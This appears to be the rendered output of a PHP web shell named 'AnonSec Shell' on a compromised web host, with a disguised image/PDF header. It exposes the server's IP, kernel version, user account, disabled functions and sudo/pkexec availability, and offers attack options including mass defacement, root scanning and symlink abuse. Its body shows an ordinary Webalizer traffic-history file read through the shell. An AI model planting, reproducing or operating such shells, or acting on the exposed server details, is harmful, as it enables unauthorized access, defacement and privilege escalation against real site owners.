ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/tmp/webalizer/api.evidenciarevista.com.br/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/tmp/webalizer/api.evidenciarevista.com.br/webalizer.hist
# Webalizer V2.23-08 History Data - 17/Sep/2025 23:42:54 (120 month)
9 2025 3562 2043 107 24864 1 17 1879 173
8 2025 2564 99 71 118 1 31 565 76
7 2025 1029 60 62 27 1 30 147 47
6 2025 539 53 40 20 1 29 224 39
5 2025 507 70 84 25 1 31 133 56
4 2025 972 77 43 30 1 30 262 41
3 2025 1551 446 97 145 1 31 577 85
2 2025 386 34 47 13 2 28 77 40
1 2025 455 70 77 26 1 31 171 62
12 2024 290 27 46 11 1 31 58 33
11 2024 414 213 101 73 1 30 281 91
10 2024 2583 160 63 58 1 31 717 56
9 2024 197 91 54 32 1 30 126 47
8 2024 288 72 78 30 1 31 116 63
7 2024 202 39 62 17 1 31 83 47
6 2024 284 123 85 47 1 30 178 69
5 2024 179 35 59 15 1 31 68 32
4 2024 163 44 67 21 1 30 63 45
3 2024 445 81 107 30 1 31 175 58
2 2024 236 37 72 17 1 28 84 35
1 2024 709 105 111 34 1 31 393 71
12 2023 115 46 78 20 1 31 56 49
11 2023 1066 63 78 27 1 30 454 54
10 2023 857 89 104 34 1 31 125 70
9 2023 194 42 72 20 1 30 92 42
8 2023 151 53 77 21 1 30 65 55
7 2023 261 53 70 21 1 31 202 42
6 2023 372 37 64 17 1 30 93 43
5 2023 113 49 58 13 1 31 42 37
4 2023 332 44 61 18 1 29 162 36
3 2023 149 37 70 16 1 30 63 44
2 2023 230 45 54 16 1 28 70 30
1 2023 258 48 50 20 1 31 202 43
12 2022 257 85 71 25 2 31 62 52
11 2022 180 21 48 11 1 30 42 35
10 2022 286 55 76 24 1 31 121 53
9 2022 405 56 49 14 1 30 75 30
8 2022 83 21 32 6 1 31 36 21
7 2022 209 47 62 23 1 31 99 49
6 2022 507 39 46 13 1 30 178 34
5 2022 346 22 42 9 2 31 154 25
4 2022 216 62 51 15 1 29 97 34
3 2022 213 36 52 16 1 31 78 40
2 2022 252 32 37 14 1 26 44 32
1 2022 263 71 39 13 1 31 62 50
12 2021 784 31 37 29 1 30 148 34
11 2021 170 35 46 13 1 30 77 49
10 2021 508 9 86 1 1 31 170 69
9 2021 475 15 65 264 1 30 223 76
8 2021 260 120 107 1454 1 30 196 129
7 2021 257 91 78 1316 1 31 182 102
6 2021 959 81 80 3651 1 30 271 122
5 2021 166 32 30 1134 1 29 99 38
4 2021 86 14 18 313 5 27 24 18
3 2021 55 23 23 5 8 31 20 20
2 2021 29 7 24 2 2 27 7 7
1 2021 22 9 16 89 1 31 11 11
12 2020 62 8 33 5 1 31 5 5
11 2020 568 199 41 2008 3 28 310 35
10 2020 133 20 47 60 2 30 78 17
9 2020 65 15 25 1800 2 29 28 19
8 2020 142 28 63 504 1 31 31 30
7 2020 163 68 61 62 1 30 128 58
6 2020 124 15 45 15 1 30 77 17
5 2020 117 31 66 9 1 30 21 21
4 2020 57 30 35 4 3 29 18 18
3 2020 54 27 25 4 1 31 26 19
2 2020 44 21 22 3 2 29 13 13
1 2020 17 16 17 1 1 27 9 9
12 2019 22 21 19 1 2 31 10 9
11 2019 56 27 35 4 1 30 15 15
10 2019 53 19 52 4 2 31 10 10
9 2019 21 17 19 45 2 28 9 9
8 2019 68 64 54 4 2 31 35 35
7 2019 46 42 42 3 1 31 23 22
6 2019 44 43 37 162 1 29 21 21
5 2019 50 47 34 3 1 30 31 28
4 2019 52 46 34 3 1 29 24 23
3 2019 32 28 17 2 1 31 15 15
2 2019 32 29 20 2 4 27 15 15
1 2019 47 25 26 17 1 31 16 16
12 2018 96 96 23 5 1 28 49 49
11 2018 98 98 23 5 2 30 48 48
10 2018 40 37 26 2 2 31 21 21
9 2018 15 15 11 1 3 30 6 6
8 2018 19 19 14 1 1 30 10 10
7 2018 18 18 12 1 4 30 9 9
6 2018 23 23 15 1 4 29 9 9
5 2018 17 17 13 1 3 29 8 8
4 2018 37 36 18 4 2 30 14 14
3 2018 51 42 15 56 3 30 40 14
2 2018 67 41 26 100 1 27 37 25
1 2018 11 9 5 1 27 31 2 2
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0
10 2015 0 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team